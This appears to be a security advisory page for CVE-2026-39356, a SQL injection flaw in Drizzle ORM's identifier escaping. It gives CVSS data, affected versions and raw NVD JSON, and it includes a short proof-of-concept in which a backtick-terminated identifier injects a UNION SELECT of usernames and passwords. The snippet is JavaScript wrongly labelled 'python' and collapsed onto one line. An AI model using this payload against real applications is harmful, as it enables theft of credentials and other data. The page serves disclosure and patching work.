Security Vulnerability Report
中文
CVE-2026-39356 CVSS 7.5 HIGH

CVE-2026-39356

Published: 2026-04-07 20:16:30
Last Modified: 2026-04-15 17:19:47

Description

Drizzle is a modern TypeScript ORM. Prior to 0.45.2 and 1.0.0-beta.20, Drizzle ORM improperly escaped quoted SQL identifiers in its dialect-specific escapeName() implementations. In affected versions, embedded identifier delimiters were not escaped before the identifier was wrapped in quotes or backticks. As a result, applications that pass attacker-controlled input to APIs that construct SQL identifiers or aliases, such as sql.identifier(), .as(), may allow an attacker to terminate the quoted identifier and inject SQL. This vulnerability is fixed in 0.45.2 and 1.0.0-beta.20.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:drizzle:drizzle:*:*:*:*:*:node.js:*:* - VULNERABLE
cpe:2.3:a:drizzle:drizzle:1.0.0:beta1:*:*:*:node.js:*:* - VULNERABLE
cpe:2.3:a:drizzle:drizzle:1.0.0:beta11:*:*:*:node.js:*:* - VULNERABLE
cpe:2.3:a:drizzle:drizzle:1.0.0:beta12:*:*:*:node.js:*:* - VULNERABLE
cpe:2.3:a:drizzle:drizzle:1.0.0:beta13:*:*:*:node.js:*:* - VULNERABLE
Drizzle ORM < 0.45.2
Drizzle ORM < 1.0.0-beta.20

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// Vulnerable Code Example using Drizzle ORM import { sql } from 'drizzle-orm'; // Simulating attacker-controlled input containing an embedded delimiter // The backtick allows breaking out of the identifier context const maliciousInput = "test_table` UNION SELECT username, password FROM users -- "; // The vulnerable API sql.identifier() processes the input // Due to the bug, the backtick is not escaped, leading to SQL injection const query = sql`SELECT * FROM ${sql.identifier(maliciousInput)}`; console.log(query.toSQL()); // Resulting SQL might look like: // SELECT * FROM `test_table` UNION SELECT username, password FROM users -- ` // Execution would leak sensitive data from the 'users' table // await db.execute(query);

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-39356", "sourceIdentifier": "[email protected]", "published": "2026-04-07T20:16:29.610", "lastModified": "2026-04-15T17:19:47.367", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Drizzle is a modern TypeScript ORM. Prior to 0.45.2 and 1.0.0-beta.20, Drizzle ORM improperly escaped quoted SQL identifiers in its dialect-specific escapeName() implementations. In affected versions, embedded identifier delimiters were not escaped before the identifier was wrapped in quotes or backticks. As a result, applications that pass attacker-controlled input to APIs that construct SQL identifiers or aliases, such as sql.identifier(), .as(), may allow an attacker to terminate the quoted identifier and inject SQL. This vulnerability is fixed in 0.45.2 and 1.0.0-beta.20."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:drizzle:drizzle:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "0.45.2", "matchCriteriaId": "AC2CBAC7-A71B-431C-97E2-DDFCD8462EFF"}, {"vulnerable": true, "criteria": "cpe:2.3:a:drizzle:drizzle:1.0.0:beta1:*:*:*:node.js:*:*", "matchCriteriaId": "60A3F747-3032-4D44-B1ED-155713253A2A"}, {"vulnerable": true, "criteria": "cpe:2.3:a:drizzle:drizzle:1.0.0:beta11:*:*:*:node.js:*:*", "matchCriteriaId": "9996B93A-33E9-4B59-81FD-0237BA1640C5"}, {"vulnerable": true, "criteria": "cpe:2.3:a:drizzle:drizzle:1.0.0:beta12:*:*:*:node.js:*:*", "matchCriteriaId": "9E745776-500B-4A8B-814A-2CC201D90B87"}, {"vulnerable": true, "criteria": "cpe:2.3:a:drizzle:drizzle:1.0.0:beta13:*:*:*:node.js:*:*", "matchCriteriaId": "00F8DF93-174B-436A-AC04-A172D74166F1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:drizzle:drizzle:1.0.0:beta14:*:*:*:node.js:*:*", "matchCriteriaId": "31E46EFF-7701-4568-82EF-4C8F47F80A2C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:drizzle:drizzle:1.0.0:beta15:*:*:*:node.js:*:*", "matchCriteriaId": "B3255145-91F5-44D8-9E01-FE2B82C31361"}, {"vulnerable": true, "criteria": "cpe:2.3:a:drizzle:drizzle:1.0.0:beta16:*:*:*:node.js:*:*", "matchCriteriaId": "0D9BA061-A130-4EF2-AE8D-8A7BB8F62DCF"}, {"vulnerable": true, "criteria": "cpe:2.3:a:drizzle:drizzle:1.0.0:beta17:*:*:*:node.js:*:*", "matchCriteriaId": "72BA66E9-16BF-49CE-8311-02FD47A0D00C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:drizzle:drizzle:1.0.0:beta18:*:*:*:node.js:*:*", "matchCriteriaId": "B00B0A98-D5BE-40E4-BD71-E87414DFC428"}, {"vulnerable": true, "criteria": "cpe:2.3:a:drizzle:drizzle:1.0.0:beta19:*:*:*:node.js:*:*", "matchCriteriaId": "874F5CFB-661B-4E23-BBFA-902842ADCAEC"}, {"vulnerable": true, "criteria": "cpe:2.3:a:drizzle:drizzle:1.0.0:beta2:*:*:*:node.js:*:*", "matchCriteriaId": "B8932680-10AA-4DC4-89D9-B0F691591612"}, {"vulnerable": true, "criteria": "cpe:2.3:a:drizzle:drizzle:1.0.0:beta3:*:*:*:node.js:*:*", "matchCriteriaId": "15C269C1-EDD4-4021-8356-0C8DACC21B5B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:drizzle:drizzle:1.0.0:beta4:*:*:*:node.js:*:*", "matchCriteriaId": "62138634-891B-41A8-8252-B0ED90D038DB"}, {"vulnerable": true, "criteria": "cpe:2.3:a:drizzle:drizzle:1.0.0:beta5:*:*:*:node.js:*:*", "matchCriteriaId": "2A75B6D6-43B8-4A40-B710-F7A1796579CC"}, {"vulnerable": true, "criteria": "cpe:2.3:a:drizzle:drizzle:1.0.0:beta6:*:*:*:node.js:*:*", "matchCriteriaId": "EF332766-43B3-4F35-A7E0-3EE1AAE303B6"}, {"vulnerable": true, "criteria": "cpe:2.3:a:drizzle:drizzle:1.0.0:beta7:*:*:*:node.js:*:*", "matchCriteriaId": "CD68C495-63AE-45C0-A714-158FAFE4B4E1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:drizzle:drizzle:1.0.0:beta8:*:*:*:node.js:*:*", "matchCriteriaId": "EBA1CC9C-B1AA-4CF1-A9A5-7961F8624B50"}, {"vulnerable": true, "criteria": "cpe:2.3:a:drizzle:drizzle:1.0.0:beta9:*:*:*:node.js:*:*", "matchCriteriaId": "67528631-A49B-40F7-8D1B-68F2BC208D2A"}]}]}], "references": [{"url": "https://github.com/drizzle-team/drizzle-orm/security/advisories/GHSA-gpj5-g38j-94v9", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}